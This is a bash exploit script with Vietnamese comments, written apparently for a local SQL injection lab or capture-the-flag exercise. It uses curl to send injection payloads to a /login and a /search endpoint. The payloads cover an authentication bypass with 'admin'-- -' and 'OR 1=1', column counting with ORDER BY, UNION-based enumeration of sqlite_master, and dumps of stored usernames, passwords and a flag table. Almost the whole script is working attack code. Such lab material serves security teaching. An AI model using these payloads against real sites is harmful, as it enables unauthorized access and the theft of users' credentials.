#!/usr/bin/env bash
# Exploit lab 2.1 - SQLi co ban. Chay khi app dang len o 127.0.0.1:$PORT
# Dung: PORT=8021 bash exploit.sh
set -u
PORT="${PORT:-8021}"
BASE="http://127.0.0.1:${PORT}"

echo "############################################################"
echo "# 0. Request binh thuong (de doi chieu)"
echo "############################################################"
curl -s -G "$BASE/search" --data-urlencode "q=Chao" ; echo

echo
echo "############################################################"
echo "# 1. AUTH BYPASS o /login (khong can biet mat khau)"
echo "#    username = admin'-- -   -> comment bo phan kiem password"
echo "############################################################"
echo "-- Thu dang nhap thuong (sai pass) :"
curl -s -o /dev/null -w "HTTP %{http_code}\n" "$BASE/login" \
  --data-urlencode "username=admin" --data-urlencode "password=sai"
echo "-- Auth bypass :"
curl -s -w "[HTTP %{http_code}]\n" "$BASE/login" \
  --data-urlencode "username=admin'-- -" \
  --data-urlencode "password=sairong"
echo "-- Hoac kieu ' OR 1=1 (lay row dau tien) :"
curl -s -w "[HTTP %{http_code}]\n" "$BASE/login" \
  --data-urlencode "username=' OR 1=1-- -" \
  --data-urlencode "password=x"

echo
echo "############################################################"
echo "# 2. ERROR-BASED: xac dinh so cot bang ORDER BY (sqlite bao thang)"
echo "############################################################"
echo "-- ORDER BY 4 (vuot) :"
curl -s -G "$BASE/search" --data-urlencode "q=' ORDER BY 4-- -"
echo "-- ORDER BY 3 (OK, khong loi) :"
curl -s -G "$BASE/search" --data-urlencode "q=' ORDER BY 3-- -" | head -c 120 ; echo " ..."

echo
echo "############################################################"
echo "# 3. UNION NULL: xac nhan 3 cot khong loi kieu"
echo "############################################################"
curl -s -G "$BASE/search" --data-urlencode "q=' UNION SELECT NULL,NULL,NULL-- -" | head -c 200 ; echo " ..."

echo
echo "############################################################"
echo "# 4. UNION: liet ke bang qua sqlite_master"
echo "############################################################"
curl -s -G "$BASE/search" --data-urlencode "q=' UNION SELECT 1,name,type FROM sqlite_master WHERE type='table'-- -"

echo
echo "############################################################"
echo "# 5. UNION: dump username + password bang users"
echo "############################################################"
curl -s -G "$BASE/search" --data-urlencode "q=' UNION SELECT id,username,password FROM users-- -"

echo
echo "############################################################"
echo "# 6. UNION: dump bang secret_flag -> LAY FLAG"
echo "############################################################"
curl -s -G "$BASE/search" --data-urlencode "q=' UNION SELECT id,name,value FROM secret_flag-- -"
echo
